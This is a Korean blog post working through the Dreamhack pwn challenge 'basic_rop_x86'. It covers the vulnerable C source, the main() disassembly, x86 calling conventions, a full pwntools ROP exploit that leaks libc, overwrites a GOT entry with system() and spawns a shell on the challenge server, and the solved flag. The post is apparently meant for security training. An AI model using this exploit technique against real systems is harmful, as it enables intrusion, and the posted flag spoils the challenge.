반응형

basic_rop_x86
0.01MB
basic_rop_x86.c
0.00MB
libc.so.6
1.69MB

 

 

이번 문제에서 주의할 점은 문제 정보에 ubuntu 16.04 32bit 버전이라고 적혀있길래 ubuntu 16.04 32bit 환경을 구성하고 exploit 코드를 실행하니 잘 동작이 되지 않았고, ubuntu 16.04 64bit 버전에서도 역시 동작하지 않았다.

 

그런데 ubuntu 20.04 64bit 버전에서 exploit을 해보니 성공적으로 exploit이 됐다.

 


문제 실행 시 동작 파악과 보호 기법 확인

 

 

문제에서 제공된 바이너리를 실행하면 위와 같이 사용자로부터 입력을 받고, "hello world" 라고 입력했더니 입력된 문자열 그대로 출력해준다.

 

 

문제 정보에서 이미 보호 기법들을 보여주고 있지만 checksec을 이용해 한 번 더 확인한다.

 

canary 기법은 적용이 되어 있지 않고, NX는 설정되어 있다.

 

NX가 설정되어 있다는 것은 실행에 사용되는 메모리 영역과 쓰기에 사용되는 메모리 영역이 분리되어 있다는 것이고, 버퍼에 쉘 코드를 주입하거나 주입한 쉘 코드를 실행할 수 없다는 것이다.
(임의의 코드를 주입해 사용하는 것 또한 안된다.)

 


소스 코드

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

 

buf의 크기는 0x40(64)인데, read() 함수에서 0x400(1024)만큼 입력 받고 있기 때문에 Stack buffer overflow가 발생하게 된다.

 

그리고 read() 함수 다음에 바로 write() 함수를 이용해 화면에 buf의 내용을 출력한다.

 


리버싱

 

0x080485d9 <+0>:	push   ebp
0x080485da <+1>:	mov    ebp,esp
0x080485dc <+3>:	push   edi
0x080485dd <+4>:	sub    esp,0x40
0x080485e0 <+7>:	lea    edx,[ebp-0x44]
0x080485e3 <+10>:	mov    eax,0x0
0x080485e8 <+15>:	mov    ecx,0x10
0x080485ed <+20>:	mov    edi,edx
0x080485ef <+22>:	rep stos DWORD PTR es:[edi],eax
0x080485f1 <+24>:	call   0x8048592 <initialize>
0x080485f6 <+29>:	push   0x400
0x080485fb <+34>:	lea    eax,[ebp-0x44]
0x080485fe <+37>:	push   eax
0x080485ff <+38>:	push   0x0
0x08048601 <+40>:	call   0x80483f0 <read@plt>
0x08048606 <+45>:	add    esp,0xc
0x08048609 <+48>:	push   0x40
0x0804860b <+50>:	lea    eax,[ebp-0x44]
0x0804860e <+53>:	push   eax
0x0804860f <+54>:	push   0x1
0x08048611 <+56>:	call   0x8048450 <write@plt>
0x08048616 <+61>:	add    esp,0xc
0x08048619 <+64>:	mov    eax,0x0
0x0804861e <+69>:	mov    edi,DWORD PTR [ebp-0x4]
0x08048621 <+72>:	leave
0x08048622 <+73>:	ret
End of assembler dump.

 

0x080485d9 <+0>:	push   ebp
0x080485da <+1>:	mov    ebp,esp
0x080485dc <+3>:	push   edi
0x080485dd <+4>:	sub    esp,0x40

 

스택 프롤로그 작업을 한 뒤 edi 레지스터의 값을 스택에 넣고, 0x40(64)만큼 스택 공간을 확보한다.

 

그렇다면 ebp-0x40 주소부터 시작하여 sfp 영역을 지나 ret 영역의 값에 접근하려면 0x44만큼 dummy 값으로 채워줘야 한다.

 

0x080485e0 <+7>:	lea    edx,[ebp-0x44]
0x080485e3 <+10>:	mov    eax,0x0
0x080485e8 <+15>:	mov    ecx,0x10
0x080485ed <+20>:	mov    edi,edx
0x080485ef <+22>:	rep stos DWORD PTR es:[edi],eax

 

ebp 레지스터에 있는 값에 0x44를 뺀 값(주소)를 edx에 담는다.

 

eax에는 0, ecx에는 0x10(16)을 담고 edx에 있는 값(주소)을 edi에 담는 뒤 rep stos 명령을 수행하는데

 

이는 eax에 있는 값을 ecx의 값만큼 반복하여 edi에 이동시키는 것이다.

 

0x080485f1 <+24>:	call   0x8048592 <initialize>

 

initialize() 함수를 호출하고

 

0x080485f6 <+29>:	push   0x400
0x080485fb <+34>:	lea    eax,[ebp-0x44]
0x080485fe <+37>:	push   eax
0x080485ff <+38>:	push   0x0
0x08048601 <+40>:	call   0x80483f0 <read@plt>
0x08048606 <+45>:	add    esp,0xc

 

0x400을 스택에 넣고

 

ebp 레지스터에 있는 값에 0x44만큼 뺀 값(주소)를 eax에 옮긴 뒤 스택에 넣고

 

0을 스택에 넣은 뒤 read() 함수를 호출한다.

 

0x08048609 <+48>:	push   0x40
0x0804860b <+50>:	lea    eax,[ebp-0x44]
0x0804860e <+53>:	push   eax
0x0804860f <+54>:	push   0x1
0x08048611 <+56>:	call   0x8048450 <write@plt>
0x08048616 <+61>:	add    esp,0xc

 

스택에 0x40을 넣고

 

ebp 레지스터에 있는 값에 0x44만큼 뺀 값(주소)를 eax에 옮긴 뒤 스택에 넣고

 

1을 스택에 넣은 후 write() 함수를 호출한다.

 

0x08048619 <+64>:	mov    eax,0x0
0x0804861e <+69>:	mov    edi,DWORD PTR [ebp-0x4]
0x08048621 <+72>:	leave
0x08048622 <+73>:	ret

 

eax에 0을 넣고, edi 레지스터 값을 다시 복원한 뒤 종료한다.

 


32bit 리눅스 환경에서의 인자와 스택

 

x86 함수 호출 규약

함수호출규약 사용 컴파일러 인자 전달 방식 스택 정리 적용

함수 호출 규약 사용 컴파일러 인자 전달 방식 스택 정리 적용
stdcall MSVC Stack Callee WINAPI
cdecl GCC, MSVC Stack Caller 일반 함수
fastcall MSVC EBX(?), ECX, EDX Callee 최적화된 함수
thiscall MSVC ECX(인스턴스),Stack(인자) Callee 클래스의 함수

 

 

x86-64 함수 호출 규약

함수호출규약 사용 컴파일러 인자 전달 방식 스택 정리 적용

함수 호출 규약 사용 컴파일러 인자 전달 방식 스택 정리 적용
MS ABI MSVC RCX, RDX, R8, R9 Caller 일반 함수,Windows Syscall
System ABI GCC RDI, RSI, RDX, RCX, R8, R9, XMM0–7 Caller 일반 함수

 

위의 표에 따르면 32bit 리눅스의 gcc 환경에서는 인자 전달 방식을 stack을 이용하고, 스택 정리를 호출한 쪽에서 정리한다.

 

64bit 환경에서는 첫 번째부터 여섯 번째까지 인자들을 rdi, rsi, rdx, rcx, r8, r9에 넣은 후 이 이상의 인자들은 스택에 넣어 사용하기 때문에 리턴 가젯의 주소를 먼저 기입하고, 각 레지스터에 넣을 인자들을 순서에 맞게 기입한 뒤 함수의 plt 주소를 적어줬다.

 

 

하지만 32bit 에서는 위와 같이 인자(매개변수) -> 함수가 종료하고 실행할 주소(반환 주소값) -> 함수의 지역 변수들 순서로 쌓이는 스택의 구조를 갖기 때문에 64bit 환경에서의 payload 순서와는 다르게 함수의 plt를 먼저 적어주고, 반환 주소값을 적어주는데, 이 반환 주소값을 코드 가젯의 주소를 적어주면 된다.

 

즉, 함수의 plt -> 코드 가젯 주소 -> 인자들 순서로 적어주면 함수의 plt가 먼저 적혀있으므로 함수를 호출하게 되는데, 이때 함수의 plt보다 인자들이 먼저 나와야 하지 않나 하는 의문점이 든다면, 이는 함수 내부에서 ebp + 8, ebp + c, ebp + 10과 같은 방식으로 스택에 넣어져 있는 인자들을 참조하기 때문에 위의 사진을 참고하여 스택의 구조를 그려보면 이해가 될 것이다.

 

낮은 주소(0x00000000)  
함수의 시작 부분 write_plt
함수가 종료되고 return 될 주소 코드 가젯 주소
함수에서 사용할 인자들(ebp+8) 인자 1
함수에서 사용할 인자들(ebp + c) 인자 2
함수에서 사용할 인자들(ebp + 10) 인자 3
높은 주소(0xFFFFFFFF)  

 


exploit

 

1. write() 함수를 이용해 read() 함수의 got 값을 출력한다.
2. read() 함수를 이용해 bss 영역에 "/bin/sh" 문자열을 넣을 수 있도록 한다.
3. read() 함수를 이용해 write() 함수의 got 주소에 system() 함수의 실제 주소 값을 넣을 수 있게 한다.
4. write() 함수를 재호출하여 실제로는 system() 함수를 호출하게 한다.

 

from pwn import *

context.arch = 'i386'
#context.log_level = 'debug'

#p = process('./basic_rop_x86')
p = remote('host3.dreamhack.games', 10092)
e = ELF('./basic_rop_x86')
libc = ELF('./libc.so.6')

# plt & got
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
write_got = e.got['write']

# offset
read_offset = libc.symbols['read']
system_offset = libc.symbols['system']

# pop_edi = 0x0804868a # pop edi ; pop ebp ; ret
pop_esi_edi_ebp = 0x08048689 # pop esi ; pop edi ; pop ebp ; ret
pop_ret = pop_esi_edi_ebp + 2 # pop ebp ; ret

# addr of bss
bss = e.bss()

# stack + sfp
payload = b'a' * 0x44 + b'b' * 0x4

# write(1, read_got, 4)
payload += p32(write_plt)
payload += p32(pop_esi_edi_ebp)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)

# read(0, bss, 8)
payload += p32(read_plt)
payload += p32(pop_esi_edi_ebp)
payload += p32(0)
payload += p32(bss)
payload += p32(8)

# read(0, write_got, 4)
payload += p32(read_plt)
payload += p32(pop_esi_edi_ebp)
payload += p32(0)
payload += p32(write_got)
payload += p32(4)

# write("/bin/sh", 0, 0) == system("/bin/sh")
payload += p32(write_plt)
payload += p32(pop_ret)
payload += p32(bss)

p.send(payload)
p.recv(0x40)

read_addr = u32(p.recvn(4))

lb = read_addr - read_offset
system_addr = lb + system_offset

print("libc base addr : ", lb)
print("system addr : ", system_addr)

p.send(b'/bin/sh\x00')
p.send(p32(system_addr))

p.interactive()

 

DH{ff3976e1fcdb03267e8d1451e56b90a5}

 


https://mineta.tistory.com/148

반응형

'전쟁 > Dreamhack Pwn' 카테고리의 다른 글

[Dreamhack pwn] oneshot  (0) 2023.02.09
[Dreamhack pwn] fho  (0) 2023.01.26
[Dreamhack pwn] basic_rop_x64  (0) 2023.01.19
[Dreamhack pwn] rop  (2) 2023.01.14
[Dreamhack pwn] Return to Library  (0) 2023.01.07

+ Recent posts